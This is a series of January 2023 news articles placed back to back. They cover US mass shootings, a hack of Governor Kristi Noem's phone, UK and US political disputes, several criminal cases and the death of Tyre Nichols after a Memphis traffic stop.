There have been more mass shootings in the US than days this year, including three in just eight days in California that have left 19 dead. Pictured: A man visits a memorial at Star Dance Studio in Monterey Park on Monday for the 11 victims who died as a result of a mass shooting there

California Governor Gavin Newsom said he was visiting wounded survivors from Saturday night's massacre in the Los Angeles suburb of Monterey Park when he was informed of Monday's killings in northern California. 'Tragedy upon tragedy,' Newsom wrote on Twitter.

In another incident, one person died and seven were injured in Oakland, near San Francisco, California, on Monday in a shooting between several individuals, Oakland Police Department reported.

Eight days earlier, six people, including a 17-year-old mother and her ten-month-old son - were killed in a shooting at a home in Goshen, California.

Here, MailOnline looks at the deadliest mass shootings in the US so far this year.

Half Moon Bay, California - 7 dead and 1 injured

Chunli Zhao, 67, was taken into custody on Monday accused of murdering seven farm workers in the Half Moon Bay area

Chunli Zhao, 67, a veteran farm worker, is suspected of opening fire and killing seven fellow Chinese agricultural laborers in what is being described as a workplace dispute.

The shootings took place at two separate locations in Half Moon Bay, California, with four shot at a farm run by Concord Farms, and three at Mountain Mushroom Farms two miles away. Officials are unsure which was attacked first.

Officers arrested Zhao after they found him in his vehicle in the car park of a sheriff's substation, San Mateo County Sheriff Christina Corpus said.

Officials believe Zhao was a worker at one of the facilities and that the victims were also employees, Ms Corpus said.

Chunli Zhao, 67, is pictured on Monday afternoon as he is arrested by San Mateo County officials

Some workers at one facility lived on the premises and children may have witnessed the shooting, she added.

She said officials have not yet determined a motive for the shooting.

'We're still trying to understand exactly what happened and why, but it's just incredibly, incredibly tragic,' said state Senator Josh Becker, who represents the area and called it 'a very close-knit' agricultural community.

A San Mateo County sheriff deputy walks towards police tape as law enforcement officials conduct an investigation following a mass shooting on January 23 in Half Moon Bay, California

Monterey Park, California - 12 dead and 10 injured

Gunman Huu Can Tran, 72, opened fire at patrons inside the Star Ballroom Dance Studio in Monterey Park, California, on Saturday night, killing 11 people and injuring 10 others.

Tran then drove to a nearby dance hall where an employee wrestled a modified 9mm submachine gun-style semi-automatic weapon away from him.

Ming Wei Ma, Mymy Nhan, 65, Valentino Alvero, 68, Diana Tom, 70, Lilian Li, 63, and Xiuhuan Yu, 57, have been named as six of the 11 people shot dead during the Lunar New Year festivities.

Huu Can Tran, 72, shot himself on Sunday in a van after being surrounded by SWAT teams. His motive for the rampage at Star Dance Studio remains unconfirmed, but police sources say it was a 'domestic dispute'. He is shown in surveillance footage from Saturday

FBI investigators stand near the Star Dance Studio (not pictured) where Tan opened fire and killed 11 people

Diana Tom, 70, (right) was critically wounded in the shooting and later died in hospital on Sunday. Valentino Alvero (left), a father, has also been identified as one of the victims of the shooting

All of the dead, six women and five men, were in their 50s, 60s and 70s, the coroner's office said.

Los Angeles Sheriff Robert Luna said investigators had not yet established why Tran had gunned down the patrons before killing himself as police closed in on him.

Police said they had found a rifle and hundreds of rounds of ammunition during a search of his home. They said it appeared he was manufacturing gun silencers.

Goshen, California - 6 dead

Six people - including a 17-year-old mother and her ten-month-old son - were killed in a shooting at a home in Goshen, central California, on January 16.

Deputies responded at around 3.30am to reports of multiple shots fired at the residence.

Officers found Alissa Parraz, 17, dead in a ditch, still cradling her son Nycholas, near the home where four of her family members were killed. Both had been shot in the head as Parraz attempted to flee with her baby.

Alissa Parraz, 17, was found dead in a ditch, still cradling her baby Nycholas, near the home where four of her family members were also killed in Goshen on January 16

Detectives say Alissa was trying to flee the shooters when she was chased down the street and shot repeatedly in the head, along with her infant son

Authorities are searching for at least two suspects in what appeared to be a gang-related murders, sheriff's officials said. They are offering a $10,000 reward for information leading to their arrest.

Tulare County Sheriff Mike Boudreaux said the massacre was a deliberate attack on the family. 'None of this was an accident. It was deliberate, intentional and horrific,' he said.

'These people were clearly shot in the head and they were also shot in places where the shooter would know that a quick death would occur,' said the sheriff. 'This is also similar to high-ranking gang affiliation and the style of executions that they commit.'

Tulare County Sheriff crime unit removes the body of one of the victims at the scene where the six family members were killed in Goshen on January 16

High Point, North Carolina - 5 dead

Robert K. Crayton, 45, shot his wife Athalia A. Crayton, 46, and his three children before killing himself at their home in High Point, North Carolina on January 7.

Police found the bodies of Crayton, his wife and children - Kasin, 18, Nyla, 16 and Nasir, 10 - at their home after receiving a report of two people running down the street and screaming for help.

'The man said that it was his father,' a neighbor said. 'He woke up, and there was a gun to his head. Somehow he pulled the magazine out of the gun, and they escaped.' The other survivor was a visitor.

Robert K. Crayton, 45, shot his wife Athalia A. Crayton, 46, and his three children before killing himself at their home in High Point, North Carolina on January 7. Pictured: The scene

Athalia A. Crayton, 46, was killed by her husband before he turned the gun on himself on January 7

Nyla, 16, and Kasin Crayton, 18, were also shot by their father before he took his own life. Pictured: Nyla, left, and Kasin, right

It remains unclear why the gunman chose to attack his family and authorities said they will likely never find out.

'We may never know why,' Lieutenant Patrick Welch said. 'What goes through the hearts and minds of a person that would do this sometimes dies with them.'

Officers have responded to the family's High Point about five times since 2014 - with the last stop by occurring on January 3 when police performed an 'involuntary mental commitment order'.

Enoch City, Utah - 8 dead

Mike Haight, 42, murdered his wife, Tausha Haight, 40, and their five children, who ranged in age from four to 17, and his mother-in-law Gail Earl on January 4 at their home in Enoch, Utah.

Enoch Mayor Geoffrey Chesnut said last week police were still investigating the killings - while revealing Tausha Haight had filed for divorce from her husband of 20 years on December 21, exactly two weeks before the murders.

Haight's five children - daughters Macie, Briley, Sienna, and sons Ammon and Gavin - were all discovered by police the morning after the murders with fatal gunshot wounds.

Mike Haight, 42, murdered his wife, Tausha Haight, 40, and their five children, who ranged in age from four to 17, (pictured together) and his mother-in-law Gail Earl on January 4 at their home in Enoch, Utah

He also killed his mother-in-law Gail Earl (left) in the shooting on January 4 in Enoch, Utah

Officials from the city of Enoch hold a news conference at city hall on the murders on January 5

Not far from their bodies was Mormon insurance agent Haight, who police believe carried out the killing spree before turning the gun on himself.

It has since emerged Haight removed guns owned by himself and his wife days before the shooting, leaving the family 'vulnerable', a relative said.

They noted that both Tausha and her mother Gail were trained in gun safety and personal protection.
Kristi Noem's personal cell phone was hacked and used to make hoax calls, her office announced on Monday.

The breach, the South Dakota governor alleges, was due to the January 6 select committee's 'mishandling' of her personal information.

Noem, 51, is calling on Attorney General Merrick Garland as well as several congressional committees to investigate the leak of not just her cell phone number, but also her family's personal information like social security numbers.

The hack of the GOP governor's personal cell phone comes after the January 6 panel last year released White House visitor logs from Donald Trump's presidency, which included the un-redacted personal information Noem is referencing.

South Dakota Governor Kristi Noem said her personal cell phone was hacked and used to make hoax calls

Noem said the social security numbers of herself, her husband, her three children and her son-in-law were all compromised when December 2020 visitor logs from the White House were released by the January 6 panel last month

'Callous mishandling of personal information has real world consequences,' Governor Noem said of the hack. 'If you get such a phone call from my number, know that I had no involvement.

'I have urged both the United States Attorney General and multiple congressional committees to investigate the leaking of my family's personal information, and I look forward to whatever resolution they can provide,' she added.

The governor's office assured that the Fusion Center within South Dakota's Department of Public Safety was notified of the breach. The Center is a state agency that investigates criminal activity and intelligence to support terrorism prevention efforts.

Noem is a Trump ally and rising star within the Republican Party, who has been floated as a possible 2024 presidential candidate.

The House panel, which was tasked by the 117th Congress with investigating the January 6, 2021 Capitol attack, released a spreadsheet and other records at the end of 2022.

Noem blamed the January 6 Select Committee on the breach and said their 'mishandling' of information leaked her and her family's social security numbers

Noem has asked Attorney General Merrick Garland to investigate the leak

The trove of information included nearly 2,000 social security numbers associated with visitors to the White House in December of 2020, days before the Capitol riot.

Noem, her husband, their three children and their son-in-law's social security numbers were included in that leak.

Other high-profile officials also had their information released  this includes Texas Governor Greg Abbott, South Carolina Governor Henry McMaster, former Housing and Urban Development (HUD) Secretary Ben Carson and former Health and Human Services (HHS) Secretary Alex Azar.

The January 6 Select Committee released its conclusions at the end of 2022, as the GOP prepared to take control of the House, which would ultimately lead to the panel's dissolution.

Two Republicans were on the nine-member panel, but are no longer in Congress.

Former Wyoming Representative Liz Cheney was primaried by Trump-backed Harriet Hageman for the state's at-large House seat - while Illinois former Representative Adam Kinzinger opted not to run for reelection.

At the end of the 117th Congress, the panel recommended a series of criminal referrals to the Justice Department and ethics investigations to House committees.
THE Loreto High School pupil who gave birth at the school hostel and underwent post-natal care, is set to return to class.

The Form Three pupil gave birth to a bouncing baby last week at the schools box room.

She was assisted by health focal teachers before being taken to Silobela Hospital for further assistance.

The parents were later informed of the incident and they took her home in Gweru where she is reportedly in good health.

Efforts to contact the family were fruitless as they refused to talk to the media saying they prefer to handle the issue privately.

According to the school authorities, the 15-year-old transferred to Loreto High at the beginning of Third Term last year and chances are high that she was already pregnant when she enrolled at the Roman Catholic-run boarding school.

Information gathered by the Chronicle indicate that the girl is set to return to class in a months time.

Government policy is that girls who give birth are allowed to return to school and continue with their educatiion.

School head Mr Phillip Mapiravana said the pupil was free to return to school and continue with her education as is Government policy.

The girl is welcome to return to school whenever she feels that she is ready. We are guided by the Education Amendment Act of 2020 which makes it a fundamental right to access education even after giving birth, said Mr Mapiravana.

Ministry of Primary and Secondary Education spokesperson, Mr Taungana Ndoro said they have since dispatched a team to the school to provide socio-psycho support.

We have dispatched our learner welfare department to provide socio-psycho support to the pupil as well as other pupils at the school. Our Education Amendment Act makes it mandatory for every learner to access education, he said.

Parliamentary Portfolio Committee on Primary and Secondary Education chairperson Mr Torerai Moyo said any learner who falls pregnant is not supposed to be expelled from school.

The learner goes on leave for maybe two to three weeks upon giving birth and then resumes classes. Her fundamental right to education is guaranteed. She must feel comfortable in class because her rights are enshrined in the Constitution, he said.

Mr Moyo who is also MP for Gokwe-Chireya, said the socio-psycho support that the children are receiving should guard against stigmatisation.

The girl should not be stigmatised when she returns to class. The Portfolio Committee on Primary and Secondary Education however urges pupils to abstain from sex which results in early pregnancies, he said.

Pediatrician, Dr Crispen Ngwenya said child birth is a process, which involves a lot of psychological support and advance preparedness.

Dr Ngwenya who is also Zimbabwe Medical Association (ZIMA) Midlands Chapter president, said the pupil might require a lot of assistance and more time to recuperate before she goes back to school.

We might need to give her enough time for her to come to terms with the situation and to find herself again. She needs to rest for a long period because this is a complicated issue, he said.

While normal maternity leave is about 90 days, Dr Ngwenya said the pupil might require a year or so before she resumes lessons.

Lobby groups added their voices saying a conducive environment should be created for the pupil to return to class. Chronicle
Downing Street today insisted Britain is still 'leading the way' in providing support to Ukraine after Boris Johnson's plea for a greater supply of Western military kit.

The former prime minister, fresh from a surprise visit to Kyiv at the weekend, has implored the US and European nations to heed Ukrainian President Volodmyr Zelensky's call for more tanks.

Mr Johnson, writing in the Daily Mail, asked 'just what the hell are we waiting for?' as he queried why not more of the West's 'abundance' of arms was being used to take on Russian forces.

In a swipe at Washington D.C., Berlin and London, the ex-premier questioned whether Western tanks currently needed to be 'guarding North Rhine-Westphalia', 'protecting Tennessee', or 'prowling the villages of Wiltshire'.

In response to the former PM's remarks today, Downing Street highlighted Britain's recent commitment to send a squadron of Challenger 2 tanks to Ukraine and suggested Rishi Sunak would like to see other countries follow suit.

But No10 insisted it would not 'dictate' to other nations on what they should be doing to support Kyiv amid growing international pressure on Germany to send its Leopard 2 tanks.

Boris Johnson has queried why not more of the West's 'abundance' of arms is being used to take on Russian forces

The former prime minister, fresh from a surprise visit to Kyiv at the weekend, has implored the US and European nations to heed Ukrainian President Volodmyr Zelensky's call for more tanks

Downing Street highlighted Britain's recent commitment to send a squadron of Challenger 2 tanks to Ukraine and suggested Rishi Sunak would like to see other countries follow suit

There is growing international pressure on Germany to allow Leopard 2 tanks to also be sent to Ukraine

Mr Sunak's official spokesman said: 'I think you can see from our commitment of sending a significant number of Challenger tanks that the UK is once again leading the way in providing the necessary support to help Ukraine win this war.

'We are proud of our record on this and it is something that will continue for the long term.'

Downing Street added that Britain was continuing 'to play the facilitating role' in securing more support for Ukraine, including at last week's meeting of allies at Germany's Ramstein air base.

Friday's meeting had led to a backlash against Germany over its reluctance to supply Leopard 2 tanks to Ukraine.

Berlin has since signalled it won't stand in the way of other European nations - such as Poland - sending the German-manufactured tanks to Kyiv, for which Germany's prior approval is needed under export conditions.

Asked whether the PM was concerned about Germany not allowing Leopard 2 tanks to be sent to Ukraine, Mr Sunak's spokesman said: 'As the Foreign Secretary and others have said, we would like to see additional support provided to Ukraine and that includes additional tanks.

'It's something that President Zelensky clearly thinks is necessary and we agree.

'What we are not going to do is dictate to other countries exactly what they should or should not provide  first and foremost that must be for those countries and the elected ministers there to set out.'

No10 also refused to comment on whether it was appropriate for the Baltic states - Latvia, Estonia and Lithuania - to have issued a public statement imploring Germany to supply tanks.

'We don't get into the business of dictating to other countries what public statements they should or shouldn't make,' the PM's spokesman added.

'I'm setting out the Government's position. We look to work with our allies in lockstep as much as possible and I think our approach has borne fruit.

'You've seen the huge amounts of equipment, material and financial support that has been provided to Ukraine since the start of the war.'
He pleaded guilty to causing death by dangerous driving after the incident

A Qatari sheikh is being sued for over 200,000 after he ran over and killed a pensioner whilst speeding in his Rolls-Royce in London.

Sheikh Hassan Nasser Al-Thani hit Charles Roberts, 66, with his purple Rolls-Royce Wraith while driving at more than 52mph in Mayfair on August 22, 2019.

The pensioner died at the scene and the sheikh was later handed an eight-month prison sentence - suspended for two years.

He was also banned from driving in the UK for three years by a judge at the Old Bailey after pleading guilty to causing death by careless driving.

Now the administrator of Mr Roberts' estate is suing Al-Thani in the High Court on behalf of the dead man's brother Peter Roberts.

He is demanding the Qatari royal pay him over 200,000 compensation.

Sheikh Hassan Nasser Al-Thani hit Charles Roberts, 66, with his purple Rolls-Royce Wraith while driving at more than 52mph in Mayfair on August 22, 2019

In documents lodged at the High Court, lawyers representing the administrator of Mr Roberts' estate, Terence Conybeare, say his vulnerable brother Peter needs to be compensated by the sheikh because Charles looked after him whilst he was alive.

'Peter Roberts was supported by the deceased and is now supported by his cousins who have Power of Attorney to deal with his financial affairs on his behalf,' lawyers said.

The administrator is claiming damages under the Fatal Accidents Act 1976 'on behalf of the dependent of the deceased consequent to his death... as a result of the negligent driving management and/or control of a motor vehicle driven by the defendant,' the documents state.

The pensioner died at the scene and the sheikh was later handed an eight-month prison sentence - suspended for two years

The location of the crash involving the Rolls Royce at Hyde Park Corner in central London

The Old Bailey heard in October 2021 the sheikh was driving in Duke of Wellington Place when he collided with Mr Roberts, a retired Network Rail signaling manager from Harpenden, Hertfordshire, who had been walking near Hyde Park.

The Common Serjeant of London, Judge Richard Marks, heard he had been briefly driving at 52 to 54mph in a 30mph zone.

The judge said he was 'satisfied' that had Al-Thani been driving 'in or around' the speed limit Mr Robert's death would have been avoided.

But he spared him from jail after hearing his barrister Simon Csoka QC say that Al-Thani suffered from a range 'serious' health issues, such as morbid obesity and sleep apnoea and would have been at risk from Covid in prison.

'I accept, and this is important, that your excessive speed and carelessness occurred only over a matter of a few seconds,' the judge added, suspending his sentence.
There was fury today after a transgender rapist attacked two women as a man then changed gender before the trial.

Isla Bryson was a shaven-headed Adam Graham with a Mike Tyson-style face tattoo when they carried out the violent sex attacks in 2016 and 2019 after abusing the victims they originally met online.

Bryson, who claimed to have had gender issues since the age of four, began transitioning from a man to a woman in 2020 after being charged with the rapes. The attacker denied the accusations, telling jurors any sex was consensual - although Bryson insisted she did not like sleeping with women and they made the 'first move'.

There was no reference to the 31-year-old having a gender recognition certificate during the trial.

It is understood Bryson is being held in a segregation unit at Cornton Vale women's prison, where the attacker will be risk assessed ahead of sentencing to see where she will serve her term.

Today Bryson was found guilty of the two rapes. The defendant denied the charges, saying in evidence she 'would never hurt another human being'. Her defence KC Edward Targowski even told High Court in Glasgow: 'If you accept that evidence, that she is transitioning, that she is aiming to continue on that path to becoming female gender, that goes a long way to acquitting her of these charges'.

Scottish Conservative shadow community safety minister Russell Findlay said today: 'This rapist decided that he was no longer a man only after appearing in court on a rape charge.

'We now have the utterly perverse situation where a Scottish court refers to someone who says he identifies as female using "her penis" to rape two vulnerable women.

'We warned of the inevitability of this happening if the SNP's gender self-ID law passed, but for it to have become reality is deeply worrying and an affront to the victims.'

Isla Bryson, 31 was known as Adam Graham (pictured) and had a Mike Tyson-style face tattoo when they carried out the violent sex attacks in 2016 and 2019

Bryson pictured outside the High Court in Glasgow. She was convicted of two rapes today

Isla Bryson, 31, from Clydebank, West Dunbartonshire, arrives at the High Court in Glasgow yesterday. Following a six-day trial at the High Court a jury has found the transgender woman guilty of raping two women when she was a man

The first victim recalled repeatedly stating 'no' as her 'muscular' attacker raped her when the then-man got into bed beside her in 2016. The second woman was raped at a flat when they were planning to watch the film Mean Girls in 2019.

Bryson had first appeared in the dock in July 2019 as Adam Graham. By the start of her six-day trial the defendant was known as Isla Bryson. Bryson is currently taking hormones and seeking surgery to complete gender reassignment.

In December around 60 protesters gathered outside Cornton Vale when trans woman paedophile Katie Dolatowski was sent there. It came amid ongoing controversy over Nicola Sturgeon's Gender Recognition Reform (Scotland) Bill (GRR), which would allow anyone anyone over 16 to 'self-identify' as the opposite sex without needing medical diagnosis of gender dysphoria.

Isla Bryson, was previously known as Adam Graham and born a man. She began transitioning in 2020, aged 29

On Monday Rishi Sunak blocked Ms Sturgeon's controversial gender reforms after receiving clear legal advice that they would undermine women's rights in the UK.

The Scottish law would allow people to seek a gender recognition certificate after living in their new gender for just three months, and without the need for medical evidence.

Campaigners warned it could allow biological males to access women-only spaces such as changing rooms, prisons and hostels for battered women, undermining current protections in the Equality Act, which covers England and Wales as well as Scotland.

The gender law was passed by the Scottish parliament last month, with the backing of Labour and the Liberal Democrats as well as the ruling SNP.

Today Isla Bryson appears to be heading to an all-female jail.

Tory MP Miriam Cates told MailOnline: 'It is almost impossible to believe that in a civilised society a man convicted of raping two women can be remanded in a women's prison.'

At the trial, the defendant was known as Isla Bryson with jurors told Adam Graham was now her 'dead name' - one 'a transgender person was given at birth and no longer uses upon transitioning'.

Bryson told her trial that she has received hormone treatment and is expecting further, adding: 'I obviously want all the surgery that the NHS can provide'.

The defendant had attacked the first victim at a flat in Clydebank, West Dunbartonshire having met on the Badoo dating site while known as Adam.

This was immediately after Bryson's marriage to a woman had ended.

In her evidence, Bryson claimed she had effectively used the 30 year-old for somewhere to stay.

But, the victim told how she had been 'head over heels in love' with Adam. However, she soon suffered as Adam went from 'caring' to flying into a rage at trivial matters.

The rape occurred on September 16 2016 after Bryson locked the door and got into bed beside her.

In pre-recorded testimony played to jurors, the victim said: 'I thought Adam had came for a cuddle and - at that moment - everything felt weird and wrong.

'I did not know what was going on.'

The woman recalled repeatedly stating 'no' as a 'muscular' Adam forced himself upon her.

The ordeal only ended when the victim's mum turned on a light in the hall.

The second woman was raped at a flat in Drumchapel, Glasgow on June 27 2019.

Bryson told jurors how she had shared her 'sexuality issues' with the 34 year-old having met on the social media site Bigo.

She was convicted of rape at the High Court in Glasgow (pictured)

The court heard the pair were together at the flat planning to watch the film Mean Girls.

The victim recalled feeling 'crushed' as the attacker she knew as Adam forced himself on her.

She stated: 'I told him to stop and he did not. He kept going. That is when I closed my eyes and let him do what he wanted to do.'

In her own evidence, Bryson - who said she was 'scared' in the witness box - often became emotional as she refuted the charges.

Bryson said: 'I would never do that. I would never hurt any woman.'

Bryson did admit 'cheating' on the first victim adding: 'She loved me. It kills me because I hurt her like that.'

Regarding sexual contact with the second woman, Bryson told jurors: 'I did not make the first move. I can assure you.'

Bryson's lawyer had also asked her today about her gender issues. Bryson said she was first aware of this when she was four.

Bryson told jurors: 'I was always hanging about with the girls and always doing make up.'

Bryson said she first made the decision about 'transition' from a man to a woman in 2020 after she first appeared to face the rape charge.

Bryson has received hormone treatment and is expecting further. Asked about surgery, the defendant stated: 'I obviously want all the surgery that the NHS can provide.'

After the verdict, prosecutor John Keenan KC said the first rape attack had been reported to the authorities in 2016, but that there were no further 'proceedings at that stage'.

Lord Scott deferred sentencing on Bryson until February 28 in Stirling.

Bryson already had three summary level convictions - not for sexual matters - and has never been jailed before.

But, the judge told her: 'You have been convicted of two extremely serious charges.

'Given what you have been convicted of, a a significant custodial sentence is inevitable.

'I will revoke bail and remand you in custody meantime.'

Bryson had turned up most days with a large suitcase. The media and public had to watch proceedings from a viewing room elsewhere in the court building.

A previous trial was abandoned due to Bryson reporting being unwell after having her photo taken as the defendant arrived at court.

It is understood Bryson will be held in the segregation unit at Cornton Vale women's jail in Stirlingshire.

This is a unit where inmates can be held for their own safety or the safety of other prisoners.

A subsequent move to the general population, alongside other women, is possible pending a risk assessment.

Prisoners can held in segregation for years but it must be kept under regular review to comply with human rights laws.
Republicans now want Senator Kyrsten Sinema to caucus with them in the upper chamber after she left the Democratic Party last month to become an independent.

Senator John Thune, the Republican Whip and one of Sinema's closest allies in Congress, is urging the Arizona lawmaker to caucus with the GOP rather than Democrats in the closely split 51-49 Senate.

It comes as members of Sinema's old party won't say whether or not they would support a reelection run from the independent or if they will back Democratic Representative Ruben Gallego, who announced his bid for the Senate seat on Monday.

Sinema has not yet announced whether she will run for reelection in the 2024 race.

Republicans are urging Senator Kyrsten Sinema to caucus with them as Democrats refused to say whether they will support a reelection bid in 2024 after she changed her party affiliation to independent

Democrats insist it's too early to say what candidates they would endorse in Arizona's Senate race  even though the entire political world is already analyzing how the party's campaign landscape is looking for the next election cycle.

'We haven't been thinking about that. That's down the road,' Democratic Senatorial Campaign Committee (DSCC) Chair Gary Peters told Punchbowl News.

'Senator Sinema is a friend of mine, and I don't know if she's planning on running or what her intentions are, and I don't want to get out in front of what she wants to do,' the Michigan Democratic senator added.

Meanwhile, Thune is urging Sinema to wander even further from the Democratic Party by caucusing with Republicans under her new independent party affiliation.

'Obviously we'd love to have her become a Republican or at least caucus [with] Republicans. That would make things a little more clear,' the South Dakota senator said.

He told reporters when asked Monday if he would support a Republican candidate over Sinema: 'We'll see. We'll cross that bridge when we come to it.

'A lot of Republicans [are] talking about' running in Arizona's Senate race, Thune noted.

Senator John Thune is urging Sinema to caucus with the GOP, saying it would make it a lot clearer on who Republicans should back in a 2024 Arizona Senate race

Rank-and-file Democrats, along with those in leadership, say it's too early to say who they will support in the 2024 Arizona Senate race. Senators Peters and Durbin are among those who won't say if they will support Sinema over Democratic Rep. Ruben Gallego

Sinema, who was considered one of the most moderate Democrats over the last several years, has worked closely with GOP colleagues on a flurry of issues like infrastructure, taxes and gun violence.

The Arizona senator made it abundantly clear when announcing her party affiliation switch last month that she was an independent, and would not caucus with Republicans.

In November 2021  just over a year before her announcement  Sinema said she was not switching parties any time soon, which proved to be untrue just 13 months later.

'No. Why would I do that?' Sinema questioned during a rare sit-down interview with Politico when asked if she would consider defecting to the GOP.

Democratic Representative Ruben Gallego for the 3rd district of Arizona released a video on Twitter on Monday announcing his run for the U.S. Senate in Arizona. Sinema has not yet said whether she will run for reelection in 2024

Democratic Senators who spoke with Punchbowl said they haven't thought about whether they would support Sinema in a reelection bid  especially now that Gallego is in the running.

'It's way too soon to get into that,' the Senate's No. 2 Democrat Dick Durbin of Illinois said. 'We don't even know who's going to file for any office in any state at this point.'

Sinema's Arizona colleague Senator Mark Kelly said: 'I've worked very closely with Sen. Sinema for a long period of time. She's a very effective member. But I'm not going to get ahead of her on 2024, or anybody else.'

The Democrat added that he wants to 'put politics aside' and won't 'get ahead of anybody.'

Sinema's situation has launched Democrats into a precarious dynamic and has opened the door to a three-way general election race.

DSCC vice chair Senator Tin Smith laughed when asked if she would support Sinema, repeating the dodge that it's too early to weigh-in.

'We don't even know what Sen. Sinema's plans are. She's my colleague,' Smith noted.

It's far from early to start thinking about 2024  Donald Trump has already announced he is running for president.

Donors, activists, lawmakers, lobbyists and everyone else in politics is looking at who to give money to in the next election cycle, which is undeniably underway.

Sinema, before her party switch, was considered one of the most moderate Democrats, along with West Virginia Senator Joe Manchin (left). The two have faced a lot of criticism within the party for their opposition to much of President Joe Biden's agenda

More 'moderate' Democrats, however, have already said they would likely support Sinema if she does decide to mount a reelection bid.

Senator Joe Manchin of West Virginia said he's 'totally supportive' of Sinema.

He also claimed the Democratic Party's leaders 'should support someone who brings basically some peace, if you will, or some rational thinking on some of this stuff without being pushed far left and far right.'

Senator John Hickenlooper of Colorado shared the same sentiment.

'I don't always agree with her, but I think having a voice like that  she says what she thinks,' the failed 2020 presidential candidate said. 'And I think she adds value to the caucus.

'She's caucusing with Democrats,' the Colorado senator added. 'The problem is she's too moderate as a Democrat  well, that's half the time what they say about me!

'I can't imagine not supporting her,' Hickenlooper said.

Senators Angus King and Bernie Sanders are also two independent lawmakers who caucus with Democrats and have earned the backing of the party in their races despite not having official party affiliation.

Gallego's entrance into the 2024 Senate race has complicated things for Democrats, especially those who have not been as vocal in their criticism of Sinema for blocking much of President Joe Biden's agenda.

The Arizona representative released a three-and-a-half-minute announcement video on Monday entering the race.

He only once specifically called out Sinema's name, saying he needs help from supporters to take her seat in the Senate  but took several other veiled swipes at the sitting senator.
President Joe Biden released a forceful statement Tuesday morning on the 'senseless act of gun violence' that took seven lives in Half Moon Bay the night before - the second mass shooting California has seen in just days.

The White House also once again urged Congress to raise the minimum age for buying an assault weapon to 21 after at least 18 people were killed between the two horrific slayings.

On Saturday, a gunman opened fire at a dance studio in Monterey Park, California, where people were celebrating the Lunar New Year. Ten people were killed that night, while another victim succumbed to their wounds on Monday.

'Jill and I are praying for those killed and injured in the latest tragic shooting in Half Moon Bay, California,' the president said.

'For the second time in recent days, California communities are mourning the loss of loved ones in a senseless act of gun violence.'

Police officers detain a man, believed by law enforcement to be the Half Moon Bay mass shooting suspect, in Half Moon Bay, California, U.S., January 23, 2023

Screenshot from a video shows emergency responders assisting a person to an ambulance following a shooting at Monterey Park, California, U.S.

Biden said he's directing federal 'support' to Half Moon Bay's local officials and greater community after the 'heinous attack.'

'Yesterday, Senator Feinstein  alongside Senators Murphy, Blumenthal and others  reintroduced a federal Assault Weapons Ban and legislation that would raise the minimum purchase age for assault weapons to 21,' the president said.

'Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action.

'I once again urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe.'

A federal ban on the sale of more than a dozen assault-style weapons was in effect from 1994 through 2004, as part of the Violent Crime Control and Law Enforcement Act of 1994.

People who already owned such weapons were not forced to give them up.

But during that time, data has shown that the rate and likelihood of mass shootings dropped.

President Joe Biden called Monday's slaughter a 'heinous attack' and mourned the lives lost for the second time in under a week

Then-Senator Biden was a major proponent of the law.

Multiple efforts to revive the ban in the nearly 20 years since it expired, chiefly led by Democrats, have failed.

'It is far past time to reenact an assault weapons ban and get these weapons of war out of our communities,' Democrat Rep. David Cicilline of Rhode Island said on Monday when introducing the latest effort.

'We passed the assault weapons ban in the House last year with bipartisan support, which was then blocked by Senate Republicans.'

Senator Dianne Feinstein of California said, 'The constant stream of mass shootings have one common thread: they almost all involve assault weapons. Its because these weapons were designed to kill as many people as quickly as possible. They have no business in our communities or schools.'

But such legislation is unlikely to get enough Republicans on board to reach the 60-vote threshold needed for it to pass.

On the House side, the climb is even steeper with a Republican-controlled majority that has made clear they have no intention of straying from their gun control-averse line.
The officers were let go by the department for violating 'multiple' policies, including using excessive force, failing to intervene, and failing to render aid

Bodycam footage, which has been viewed by the family, shows their son getting shocked, pepper sprayed, and restrained by five officers

Tyre Nichols, 29, of Memphis, died on January 10 from cardiac arrest and kidney failure after being pulled over by Memphis Police

A family lawyer for a Memphis man who died three days after a 'violent' traffic stop said he was used as a 'human pinata' by police officers and that the video of his beating reminded them of Rodney King.

Tyre Nichols, 29, of Memphis, died on January 10 from cardiac arrest and kidney failure, three days after he was pulled over for reckless driving by police in unmarked cars and who were allegedly wearing hoodies.

Family Attorney Ben Crump said police bodycam footage - which has been viewed by the family and is expected to be released to the public in the coming weeks - showed Nichols being shocked, pepper sprayed, and restrained after the 29-year-old FedEx worker was pulled over minutes away from his home.

'He was a human pinata for those police officers,' fellow family attorney Antonio Romanucci said at a press conference. 'It was an unadulterated, unabashed, nonstop beating of this young boy for three minutes.'

Five police officers were terminated from the Memphis Police Department. Their names are: Tadarrius Bean, Demetrius Haley, Emmitt Martin III, Desmond Mills Jr., and Justin Smith.

All the officers, who were hired between 2017 and 2020, could face assault or homicide charges, District Attorney Steve Mulroy said. The officers were let go for violating 'multiple department policies,' including using excessive force, failing to intervene, and failing to render aid.

Tyre Nichols, 29, of Memphis, died on January 10 from cardiac arrest and kidney failure, three days after he was pulled over for reckless driving by police in unmarked cars

Family Attorney Ben Crump said police bodycam footage - which has been viewed by the family and expected to be released to the public in the coming weeks - showed Nichols being shocked, pepper sprayed, and restrained after the 29-year-old FedEx worker was pulled over minutes away from his home

Two Memphis firefighters who responded to the incident are also being investigated.

The US Justice Department has opened a civil rights investigation into the arrest, and the Tennessee Bureau of Investigation is looking into whether excessive force was used. The FBI is also involved.

Although the family cannot discuss the video in detail, as an investigation is ongoing, they said it 'regrettably...reminded us of [a] Rodney King video.' King was brutally beaten in 1991 by Los Angeles Police officers after he was pulled over for drunk driving. He was later found dead at the bottom of a swimming pool in 2012. The four officers, who were white, were acquitted, causing thousands to take to the streets in protest.

The city has been on edge about the release of the police footage because of the possibility of unrest. Nichols' stepfather, Rodney Wells, asked that if there are protests, that they remain peaceful, saying violence 'is not what Tyre wanted and won't bring him back.'

Crump said Nichols' family agreed to investigators' request to wait a week or two before making the video public to 'make sure to give this family what they want most, and that is justice.'

'Whatever it takes to clear my son name and to get justice for my son. If they need to keep the video for two more weeks, then let them keep the video for two more weeks,' his mother told Good Morning America (GMA).

RowVaughn Wells, his mother, is hoping the five officers will face first-degree murder charges.

Crump said the video shows the encounter was 'violent' and 'troublesome on every level.' Romanucci called it 'savage' and out of proportion to the alleged offense.

Romanucci said that the father was kicked before Crump stopped him from saying more.

The family of 29-year-old Tyre Nichols is speaking out for the first time since seeing the body camera footage of a deadly police encounter in Memphis.



All five officers involved have been fired for violating department policies. @PriscillaWT shares the story. pic.twitter.com/86zwm3i2G5  TODAY (@TODAYshow) January 24, 2023

